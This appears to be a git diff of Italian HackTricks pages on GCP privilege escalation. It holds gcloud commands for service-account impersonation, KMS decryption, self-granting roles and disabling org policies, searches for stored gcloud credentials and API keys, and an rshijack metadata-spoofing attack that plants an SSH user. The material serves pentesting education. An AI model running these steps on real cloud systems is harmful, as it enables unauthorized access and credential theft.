Puoi trovare uno script per automatizzare la [**creazione, sfruttamento e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
</details>
|
||||
|
||||
Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
Il **permesso iam.serviceAccounts.actAs** è simile al **permesso iam:PassRole di AWS**. È essenziale per eseguire compiti, come avviare un'istanza di Compute Engine, poiché concede la possibilità di "agire come" un Service Account, garantendo una gestione sicura dei permessi. Senza questo, gli utenti potrebbero ottenere accessi indebiti. Inoltre, sfruttare il **iam.serviceAccounts.actAs** comporta vari metodi, ognuno dei quali richiede un insieme di permessi, a differenza di altri metodi che necessitano solo di uno.
|
||||
La **iam.serviceAccounts.actAs permission** è simile alla **iam:PassRole permission from AWS**. È essenziale per eseguire attività, come avviare un'istanza di Compute Engine, poiché concede la capacità di "actAs" un Service Account, garantendo una gestione sicura dei permessi. Senza questo, gli utenti potrebbero ottenere accessi indebiti. Inoltre, sfruttare la **iam.serviceAccounts.actAs** comporta vari metodi, ognuno dei quali richiede un insieme di permessi, in contrasto con altri metodi che ne richiedono solo uno.
|
||||
|
||||
#### Impersonificazione di un service account <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### Impersonazione di Service account <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Impersonare un service account può essere molto utile per **ottenere nuovi e migliori privilegi**. Ci sono tre modi in cui puoi [impersonare un altro service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
Impersonare un Service account può essere molto utile per **ottenere privilegi nuovi e migliori**. Ci sono tre modi in cui puoi [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
|
||||
- Autenticazione **utilizzando chiavi private RSA** (trattato sopra)
|
||||
- Autorizzazione **utilizzando politiche Cloud IAM** (trattato qui)
|
||||
- **Distribuzione di lavori sui servizi GCP** (più applicabile al compromesso di un account utente)
|
||||
- Autenticazione **using RSA private keys** (trattato sopra)
|
||||
- Autorizzazione **using Cloud IAM policies** (trattato qui)
|
||||
- **Deploying jobs on GCP services** (più applicabile al compromesso di un account utente)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
Un attaccante con i permessi menzionati sarà in grado di generare un OpenID JWT. Questi vengono utilizzati per affermare l'identità e non portano necessariamente alcuna autorizzazione implicita contro una risorsa.
|
||||
Un attaccante con i permessi menzionati potrà generare un OpenID JWT. Questi token sono usati per attestare l'identità e non implicano necessariamente un'autorizzazione su una risorsa.
|
||||
|
||||
Secondo questo [**interessante post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), è necessario indicare il pubblico (servizio dove si desidera utilizzare il token per autenticarsi) e si riceverà un JWT firmato da google che indica il service account e il pubblico del JWT.
|
||||
Secondo questo [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), è necessario indicare l'audience (il servizio presso il quale vuoi usare il token per autenticarti) e riceverai un JWT firmato da google che indica il service account e l'audience del JWT.
|
||||
|
||||
Puoi generare un OpenIDToken (se hai accesso) con:
|
||||
Puoi generare un OpenIDToken (se hai l'accesso) con:
|
||||
|
||||
<details><summary>Genera OpenID token per Service account</summary>
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
Puoi quindi semplicemente usarlo per accedere al servizio con:
|
||||
</details>
|
||||
|
||||
Puoi quindi usarlo per accedere al servizio con:
|
||||
|
||||
<details><summary>Usa un token OpenID per autenticarti</summary>
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
</details>
|
||||
|
||||
Alcuni servizi che supportano l'autenticazione tramite questo tipo di token sono:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (se si utilizza Google OIDC)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (se si usa Google OIDC)
|
||||
|
||||
Puoi trovare un esempio su come creare un token OpenID per conto di un account di servizio [**qui**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
Puoi trovare un esempio su come creare un OpenID token per conto di un service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
@@ -10,11 +10,13 @@ Informazioni su KMS:
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Nota che in KMS i **permessi** non sono solo **ereditati** da Org, Cartelle e Progetti, ma anche da **Keyrings**.
|
||||
Nota che in KMS i **permission** non sono solo **inherited** da Orgs, Folders and Projects ma anche da **Keyrings**.
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecrypt`
|
||||
|
||||
Puoi utilizzare questo permesso per **decriptare informazioni con la chiave** su cui hai questo permesso.
|
||||
Puoi usare questa **permission** per **decrypt** informazioni con la **key** su cui possiedi questa **permission**.
|
||||
|
||||
<details><summary>Decrypt data using KMS key</summary>
|
||||
```bash
|
||||
gcloud kms decrypt \
|
||||
--location=[LOCATION] \
|
||||
@@ -24,9 +26,13 @@ gcloud kms decrypt \
|
||||
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
|
||||
--plaintext-file=[DECRYPTED_FILE_PATH]
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeys.setIamPolicy`
|
||||
|
||||
Un attaccante con questo permesso potrebbe **assegnarsi permessi** per utilizzare la chiave per decrittografare informazioni.
|
||||
Un attaccante con questa autorizzazione potrebbe **assegnarsi i permessi** per utilizzare la chiave e decifrare le informazioni.
|
||||
|
||||
<details><summary>Grant yourself KMS decrypter role</summary>
|
||||
```bash
|
||||
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--location [LOCATION] \
|
||||
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--member [MEMBER] \
|
||||
--role roles/cloudkms.cryptoKeyDecrypter
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
|
||||
|
||||
Ecco una suddivisione concettuale di come funziona questa delega:
|
||||
Ecco una spiegazione concettuale di come funziona questa delega:
|
||||
|
||||
1. **L'Account di Servizio A** ha accesso diretto per decrittografare utilizzando una chiave specifica in KMS.
|
||||
2. **L'Account di Servizio B** riceve il permesso `useToDecryptViaDelegation`. Questo gli consente di richiedere a KMS di decrittografare i dati per conto dell'Account di Servizio A.
|
||||
1. **Service Account A** ha accesso diretto per decifrare usando una specifica chiave in KMS.
|
||||
2. **Service Account B** riceve il permesso `useToDecryptViaDelegation`. Questo gli permette di richiedere a KMS di decifrare dati per conto di Service Account A.
|
||||
|
||||
L'uso di questo **permesso è implicito nel modo in cui il servizio KMS controlla i permessi** quando viene effettuata una richiesta di decrittografia.
|
||||
L'uso di questo **permesso è implicito nel modo in cui il servizio KMS controlla i permessi** quando viene effettuata una richiesta di decrittazione.
|
||||
|
||||
Quando effettui una richiesta di decrittografia standard utilizzando l'API Google Cloud KMS (in Python o in un'altra lingua), il servizio **controlla se l'account di servizio richiedente ha i permessi necessari**. Se la richiesta è effettuata da un account di servizio con il permesso **`useToDecryptViaDelegation`**, KMS verifica se questo **account è autorizzato a richiedere la decrittografia per conto dell'entità che possiede la chiave**.
|
||||
Quando effettui una richiesta di decrittazione standard usando la Google Cloud KMS API (in Python o un altro linguaggio), il servizio **verifica se il service account richiedente ha i permessi necessari**. Se la richiesta è fatta da un service account con il permesso **`useToDecryptViaDelegation`**, KMS verifica se questo **account è autorizzato a richiedere la decrittazione per conto dell'entità che possiede la chiave**.
|
||||
|
||||
#### Impostazione per la Delega
|
||||
#### Configurazione per la delega
|
||||
|
||||
1. **Definire il Ruolo Personalizzato**: Crea un file YAML (ad esempio, `custom_role.yaml`) che definisce il ruolo personalizzato. Questo file dovrebbe includere il permesso `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Ecco un esempio di come potrebbe apparire questo file:
|
||||
1. **Definire il ruolo personalizzato**: Crea un file YAML (es., `custom_role.yaml`) che definisca il ruolo personalizzato. Questo file dovrebbe includere il permesso `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`. Ecco un esempio di come potrebbe essere questo file:
|
||||
|
||||
<details><summary>Definizione YAML del ruolo personalizzato</summary>
|
||||
```yaml
|
||||
title: "KMS Decryption via Delegation"
|
||||
description: "Allows decryption via delegation"
|
||||
@@ -55,13 +65,21 @@ stage: "GA"
|
||||
includedPermissions:
|
||||
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
|
||||
```
|
||||
2. **Crea il Ruolo Personalizzato Utilizzando il gcloud CLI**: Usa il seguente comando per creare il ruolo personalizzato nel tuo progetto Google Cloud:
|
||||
</details>
|
||||
|
||||
2. **Crea il ruolo personalizzato usando la gcloud CLI**: Usa il comando seguente per creare il ruolo personalizzato nel tuo progetto Google Cloud:
|
||||
|
||||
<details><summary>Crea ruolo KMS personalizzato</summary>
|
||||
```bash
|
||||
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
|
||||
```
|
||||
Sostituisci `[YOUR_PROJECT_ID]` con il tuo ID progetto Google Cloud.
|
||||
Sostituisci `[YOUR_PROJECT_ID]` con l'ID del progetto Google Cloud.
|
||||
|
||||
3. **Concedi il Ruolo Personalizzato a un'Account di Servizio**: Assegna il tuo ruolo personalizzato a un'account di servizio che utilizzerà questo permesso. Usa il seguente comando:
|
||||
</details>
|
||||
|
||||
3. **Assegna il ruolo personalizzato a un account di servizio**: Assegna il tuo ruolo personalizzato a un account di servizio che utilizzerà questa autorizzazione. Usa il comando seguente:
|
||||
|
||||
<details><summary>Assegna ruolo personalizzato a un account di servizio</summary>
|
||||
```bash
|
||||
# Give this permission to the service account to impersonate
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
|
||||
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
|
||||
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
|
||||
```
|
||||
Sostituisci `[YOUR_PROJECT_ID]` e `[SERVICE_ACCOUNT_EMAIL]` con il tuo ID progetto e l'email dell'account di servizio, rispettivamente.
|
||||
Sostituisci `[YOUR_PROJECT_ID]` e `[SERVICE_ACCOUNT_EMAIL]` con l'ID del tuo progetto e l'indirizzo email del service account, rispettivamente.
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+25
-17
@@ -1,40 +1,40 @@
|
||||
# GCP - escalatione locale dei privilegi ssh pivoting
|
||||
# GCP - local privilege escalation ssh pivoting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
in questo scenario supponiamo che tu **abbia compromesso un account non privilegiato** all'interno di una VM in un progetto Compute Engine.
|
||||
in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project.
|
||||
|
||||
Incredibilmente, i permessi GPC del compute engine che hai compromesso possono aiutarti a **escalare i privilegi localmente all'interno di una macchina**. Anche se questo non sarà sempre molto utile in un ambiente cloud, è bene sapere che è possibile.
|
||||
Sorprendentemente, i permessi GPC del compute engine che hai compromesso possono aiutarti a **escalate privileges locally inside a machine**. Anche se questo non sarà sempre molto utile in un ambiente cloud, è bene sapere che è possibile.
|
||||
|
||||
## Leggi gli script <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
|
||||
**Compute Instances** sono probabilmente lì per **eseguire alcuni script** per eseguire azioni con i loro account di servizio.
|
||||
**Compute Instances** sono probabilmente lì per **eseguire alcuni script** per effettuare azioni con i loro service accounts.
|
||||
|
||||
Poiché IAM è molto granulare, un account può avere privilegi di **lettura/scrittura** su una risorsa ma **nessun privilegio di elenco**.
|
||||
Poiché IAM è molto granulare, un account può avere privilegi **read/write** su una risorsa ma **nessun privilegio di list**.
|
||||
|
||||
Un grande esempio ipotetico di questo è una Compute Instance che ha il permesso di leggere/scrivere backup in un bucket di archiviazione chiamato `instance82736-long-term-xyz-archive-0332893`.
|
||||
Un ottimo esempio ipotetico è una Compute Instance che ha il permesso di leggere/scrivere backup in un bucket di storage chiamato `instance82736-long-term-xyz-archive-0332893`.
|
||||
|
||||
Eseguendo `gsutil ls` dalla riga di comando non restituisce nulla, poiché l'account di servizio manca del permesso IAM `storage.buckets.list`. Tuttavia, se esegui `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` potresti trovare un backup completo del filesystem, dandoti accesso in chiaro ai dati di cui il tuo account Linux locale è privo.
|
||||
Eseguire `gsutil ls` dalla riga di comando non restituisce nulla, poiché il service account non ha il permesso IAM `storage.buckets.list`. Tuttavia, se esegui `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` potresti trovare un backup completo del filesystem, ottenendo accesso in chiaro a dati che il tuo account Linux locale non possiede.
|
||||
|
||||
Potresti essere in grado di trovare questo nome di bucket all'interno di uno script (in bash, Python, Ruby...).
|
||||
Potresti essere in grado di trovare il nome di questo bucket all'interno di uno script (in bash, Python, Ruby...).
|
||||
|
||||
## Metadati personalizzati
|
||||
## Custom Metadata
|
||||
|
||||
Gli amministratori possono aggiungere [metadati personalizzati](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) a livello di **istanza** e **progetto**. Questo è semplicemente un modo per passare **coppie chiave/valore arbitrarie in un'istanza**, ed è comunemente usato per variabili d'ambiente e script di avvio/arresto.
|
||||
Gli amministratori possono aggiungere [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) a livello di **instance** e **project**. Questo è semplicemente un modo per passare **coppie chiave/valore arbitrarie in un'instance**, ed è comunemente usato per variabili d'ambiente e startup/shutdown scripts.
|
||||
|
||||
Inoltre, è possibile aggiungere **userdata**, che è uno script che verrà **eseguito ogni volta** che la macchina viene avviata o riavviata e che può essere **accessibile anche dall'endpoint dei metadati.**
|
||||
Inoltre, è possibile aggiungere **userdata**, che è uno script che verrà **eseguito ogni volta** che la macchina viene avviata o riavviata e che può essere **accessibile anche dall'endpoint dei metadata**.
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
For more info check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
## **Abusare dei permessi IAM**
|
||||
## **Abusing IAM permissions**
|
||||
|
||||
La maggior parte dei permessi proposti di seguito sono **assegnati al Compute SA predefinito,** l'unico problema è che il **campo di accesso predefinito impedisce al SA di usarli**. Tuttavia, se il **campo `cloud-platform`** è abilitato o solo il **campo `compute`** è abilitato, sarai **in grado di abusarne**.
|
||||
La maggior parte dei permessi proposti qui sotto sono **assegnati al default Compute SA,** l'unico problema è che lo **scope di accesso predefinito impedisce alla SA di usarli**. Tuttavia, se lo scope **`cloud-platform`** è abilitato o anche solo lo scope **`compute`** è abilitato, sarai **in grado di abusarne**.
|
||||
|
||||
Controlla i seguenti permessi:
|
||||
Check the following permissions:
|
||||
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/index.html#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/index.html#compute.instances.osadminlogin)
|
||||
@@ -44,10 +44,14 @@ Controlla i seguenti permessi:
|
||||
|
||||
## Cerca chiavi nel filesystem
|
||||
|
||||
Controlla se altri utenti hanno effettuato l'accesso in gcloud all'interno della macchina e hanno lasciato le loro credenziali nel filesystem:
|
||||
Controlla se altri utenti hanno effettuato il login con gcloud all'interno della macchina e lasciato le loro credenziali nel filesystem:
|
||||
|
||||
<details><summary>Cerca credenziali gcloud nel filesystem</summary>
|
||||
```
|
||||
sudo find / -name "gcloud"
|
||||
```
|
||||
</details>
|
||||
|
||||
Questi sono i file più interessanti:
|
||||
|
||||
- `~/.config/gcloud/credentials.db`
|
||||
@@ -55,7 +59,9 @@ Questi sono i file più interessanti:
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
|
||||
- `~/.credentials.json`
|
||||
|
||||
### Altre regex per le chiavi API
|
||||
### Altre regex per API Keys
|
||||
|
||||
<details><summary>Pattern grep per credenziali e chiavi GCP</summary>
|
||||
```bash
|
||||
TARGET_DIR="/path/to/whatever"
|
||||
|
||||
@@ -87,6 +93,8 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
|
||||
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
|
||||
"$TARGET_DIR"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
+31
-16
@@ -2,45 +2,60 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Stato Iniziale
|
||||
## Stato iniziale
|
||||
|
||||
In entrambi i report in cui viene specificata questa tecnica, gli attaccanti sono riusciti ad ottenere accesso **root** all'interno di un **Docker** container gestito da GCP con accesso alla rete host (e le capacità **`CAP_NET_ADMIN`** e **`CAP_NET_RAW`**).
|
||||
In entrambi i writeup in cui questa tecnica è specificata, gli attaccanti sono riusciti a ottenere accesso **root** all'interno di un container **Docker** gestito da GCP con accesso alla rete host (e le capability **`CAP_NET_ADMIN`** e **`CAP_NET_RAW`**).
|
||||
|
||||
## Spiegazione dell'Attacco
|
||||
## Spiegazione dell'attacco
|
||||
|
||||
Su un'istanza di Google Compute Engine, l'ispezione regolare del traffico di rete rivela numerose **richieste HTTP in chiaro** al **metadata instance** a `169.254.169.254`. Il [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), un servizio open-source, effettua frequentemente tali richieste.
|
||||
Su un'istanza Google Compute Engine, l'ispezione regolare del traffico di rete rivela numerose **richieste HTTP in chiaro** all'istanza metadata su `169.254.169.254`. Il [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent), un servizio open-source, effettua frequentemente tali richieste.
|
||||
|
||||
Questo agente è progettato per **monitorare le modifiche nei metadati**. In particolare, i metadati includono un **campo per le chiavi pubbliche SSH**. Quando una nuova chiave pubblica SSH viene aggiunta ai metadati, l'agente la **autorizza** automaticamente nel file `.authorized_key`. Può anche **creare un nuovo utente** e aggiungerlo ai **sudoers** se necessario.
|
||||
Questo agente è progettato per **monitorare le modifiche nei metadata**. In particolare, i metadata includono un **campo per le chiavi pubbliche SSH**. Quando una nuova chiave SSH pubblica viene aggiunta ai metadata, l'agente la **autorizza automaticamente** nel file `.authorized_key`. Può anche **creare un nuovo utente** e aggiungerlo ai **sudoers** se necessario.
|
||||
|
||||
L'agente monitora le modifiche inviando una richiesta per **recuperare tutti i valori dei metadati in modo ricorsivo** (`GET /computeMetadata/v1/?recursive=true`). Questa richiesta è progettata per indurre il server dei metadati a inviare una risposta solo se c'è stata una modifica nei metadati dall'ultimo recupero, identificata da un Etag (`wait_for_change=true&last_etag=`). Inoltre, è incluso un parametro di **timeout** (`timeout_sec=`). Se non si verifica alcuna modifica entro il timeout specificato, il server risponde con i **valori invariati**.
|
||||
L'agente controlla le modifiche inviando una richiesta per recuperare tutti i valori dei metadata in modo ricorsivo (`GET /computeMetadata/v1/?recursive=true`). Questa richiesta è progettata per indurre il metadata server a rispondere solo se c'è stata una modifica nei metadata rispetto all'ultima lettura, identificata da un Etag (`wait_for_change=true&last_etag=`). Inoltre viene incluso un parametro di **timeout** (`timeout_sec=`). Se non si verifica alcuna modifica entro il timeout specificato, il server risponde con i valori **invariati**.
|
||||
|
||||
Questo processo consente all'**IMDS** (Instance Metadata Service) di rispondere dopo **60 secondi** se non è avvenuta alcuna modifica della configurazione, creando una potenziale **finestra per iniettare una risposta di configurazione falsa** all'agente guest.
|
||||
Questo meccanismo permette all'IMDS (Instance Metadata Service) di rispondere dopo **60 secondi** se non è avvenuta alcuna modifica di configurazione, creando una potenziale **finestra per l'iniezione di una risposta di configurazione falsificata** verso il guest agent.
|
||||
|
||||
Un attaccante potrebbe sfruttare questo eseguendo un **attacco Man-in-the-Middle (MitM)**, falsificando la risposta dal server IMDS e **inserendo una nuova chiave pubblica**. Questo potrebbe abilitare l'accesso SSH non autorizzato all'host.
|
||||
Un attaccante potrebbe sfruttare ciò eseguendo un attacco Man-in-the-Middle (MitM), spoofando la risposta dal server IMDS e **inserendo una nuova chiave pubblica**. Questo potrebbe consentire l'accesso SSH non autorizzato all'host.
|
||||
|
||||
### Tecnica di Fuga
|
||||
### Tecnica di Escape
|
||||
|
||||
Sebbene l'ARP spoofing sia inefficace sulle reti di Google Compute Engine, una [**versione modificata di rshijack**](https://github.com/ezequielpereira/rshijack) sviluppata da [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) può essere utilizzata per l'iniezione di pacchetti nella comunicazione per iniettare l'utente SSH.
|
||||
Sebbene l'ARP spoofing sia inefficace sulle reti Google Compute Engine, una [**versione modificata di rshijack**](https://github.com/ezequielpereira/rshijack) sviluppata da [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) può essere utilizzata per l'iniezione di pacchetti nella comunicazione al fine di iniettare l'utente SSH.
|
||||
|
||||
Questa versione di rshijack consente di inserire i numeri ACK e SEQ come argomenti della riga di comando, facilitando la falsificazione di una risposta prima della reale risposta del server Metadata. Inoltre, viene utilizzato un [**piccolo script Shell**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) per restituire un **payload appositamente creato**. Questo payload attiva il Google Guest Agent per **creare un utente `wouter`** con una chiave pubblica specificata nel file `.authorized_keys`.
|
||||
Questa versione di rshijack permette di fornire i numeri ACK e SEQ come argomenti da linea di comando, facilitando lo spoof di una risposta prima della risposta reale del Metadata server. Inoltre viene utilizzato un [**piccolo Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) per restituire un **payload appositamente creato**. Questo payload induce il Google Guest Agent a **creare un utente `wouter`** con una chiave pubblica specificata nel file `.authorized_keys`.
|
||||
|
||||
Lo script utilizza lo stesso ETag per impedire al server Metadata di notificare immediatamente il Google Guest Agent di valori di metadati diversi, ritardando così la risposta.
|
||||
Lo script usa lo stesso ETag per impedire che il Metadata server notifichi immediatamente al Google Guest Agent valori di metadata diversi, ritardando così la risposta.
|
||||
|
||||
Per eseguire la falsificazione, sono necessari i seguenti passaggi:
|
||||
Per eseguire lo spoofing, sono necessari i seguenti passaggi:
|
||||
|
||||
1. **Monitorare le richieste al server Metadata** utilizzando **tcpdump**:
|
||||
1. **Monitorare le richieste al Metadata server** usando **tcpdump**:
|
||||
|
||||
<details>
|
||||
<summary>Monitorare le richieste al server metadata con tcpdump</summary>
|
||||
```bash
|
||||
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
|
||||
```
|
||||
</details>
|
||||
|
||||
Cerca una riga simile a:
|
||||
|
||||
<details>
|
||||
<summary>Esempio di riga di output di tcpdump</summary>
|
||||
```
|
||||
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
|
||||
```
|
||||
2. Invia i dati dei metadati falsi con l'ETAG corretto a rshijack:
|
||||
</details>
|
||||
|
||||
2. Invia i metadati falsi con l'ETAG corretto a rshijack:
|
||||
|
||||
<details>
|
||||
<summary>Invia metadati falsi e connettiti via SSH all'host</summary>
|
||||
```bash
|
||||
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
|
||||
```
|
||||
Questo passaggio autorizza la chiave pubblica, abilitando la connessione SSH con la corrispondente chiave privata.
|
||||
</details>
|
||||
|
||||
Questo passaggio autorizza la chiave pubblica, consentendo la connessione SSH con la corrispondente chiave privata.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
+21
-6
@@ -6,7 +6,10 @@
|
||||
|
||||
### `orgpolicy.policy.set`
|
||||
|
||||
Un attaccante che sfrutta **orgpolicy.policy.set** può manipolare le policy organizzative, permettendogli di rimuovere determinate restrizioni che ostacolano operazioni specifiche. Per esempio, il vincolo **appengine.disableCodeDownload** di solito impedisce il download del codice sorgente di App Engine. Tuttavia, utilizzando **orgpolicy.policy.set**, un attaccante può disattivare questo vincolo, ottenendo così l'accesso per scaricare il codice sorgente, nonostante inizialmente fosse protetto.
|
||||
Un attaccante che sfrutta **orgpolicy.policy.set** può manipolare le organizational policies, permettendogli di rimuovere certe restrizioni che impediscono operazioni specifiche. Per esempio, il vincolo **appengine.disableCodeDownload** solitamente blocca il download del source code di App Engine. Tuttavia, usando **orgpolicy.policy.set**, un attaccante può disattivare questo vincolo, ottenendo così l'accesso per scaricare il codice sorgente, nonostante fosse inizialmente protetto.
|
||||
|
||||
<details>
|
||||
<summary>Ottieni informazioni su orgpolicy e disabilita l'applicazione della policy</summary>
|
||||
```bash
|
||||
# Get info
|
||||
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
|
||||
# Disable
|
||||
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
|
||||
```
|
||||
Uno script Python per questo metodo è disponibile [qui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
|
||||
</details>
|
||||
|
||||
Uno script Python per questo metodo è disponibile [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
|
||||
|
||||
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Di solito non è possibile associare un service account di un progetto diverso a una risorsa perché è applicato un vincolo di policy chiamato **`iam.disableCrossProjectServiceAccountUsage`** che impedisce questa azione.
|
||||
Di solito non è possibile associare un service account proveniente da un progetto diverso a una risorsa perché esiste un vincolo di policy applicato chiamato **`iam.disableCrossProjectServiceAccountUsage`** che impedisce questa azione.
|
||||
|
||||
È possibile verificare se questo vincolo è applicato eseguendo il comando seguente:
|
||||
È possibile verificare se questo vincolo è applicato eseguendo il seguente comando:
|
||||
|
||||
<details>
|
||||
<summary>Verifica vincolo cross-project per service account</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies describe \
|
||||
constraints/iam.disableCrossProjectServiceAccountUsage \
|
||||
@@ -31,14 +39,21 @@ booleanPolicy:
|
||||
enforced: true
|
||||
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
|
||||
```
|
||||
Questo impedisce a un attaccante di abusare del permesso **`iam.serviceAccounts.actAs`** per impersonare un service account di un altro progetto senza i necessari permessi infrastrutturali aggiuntivi per avviare, ad esempio, una nuova VM, il che potrebbe portare a privilege escalation.
|
||||
</details>
|
||||
|
||||
Tuttavia, un attaccante con il permesso **`orgpolicy.policy.set`** può aggirare questa restrizione disabilitando il vincolo **`iam.disableServiceAccountProjectWideAccess`**. Questo permette all'attaccante di associare un service account di un altro progetto a una risorsa nel proprio progetto, incrementando di fatto i suoi privilegi.
|
||||
Questo impedisce a un attaccante di abusare del permesso **`iam.serviceAccounts.actAs`** per impersonare un service account di un altro progetto senza le ulteriori autorizzazioni infrastrutturali necessarie per avviare, ad esempio, una nuova VM, il che potrebbe portare a un escalation di privilegi.
|
||||
|
||||
Tuttavia, un attaccante con i permessi **`orgpolicy.policy.set`** può aggirare questa restrizione disabilitando il vincolo **`iam.disableServiceAccountProjectWideAccess`**. Questo permette all'attaccante di associare un service account proveniente da un altro progetto a una risorsa nel proprio progetto, aumentando effettivamente i suoi privilegi.
|
||||
|
||||
<details>
|
||||
<summary>Disabilita il vincolo per i service account tra progetti</summary>
|
||||
```bash
|
||||
gcloud resource-manager org-policies disable-enforce \
|
||||
iam.disableCrossProjectServiceAccountUsage \
|
||||
--project=<project-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
## Riferimenti
|
||||
|
||||
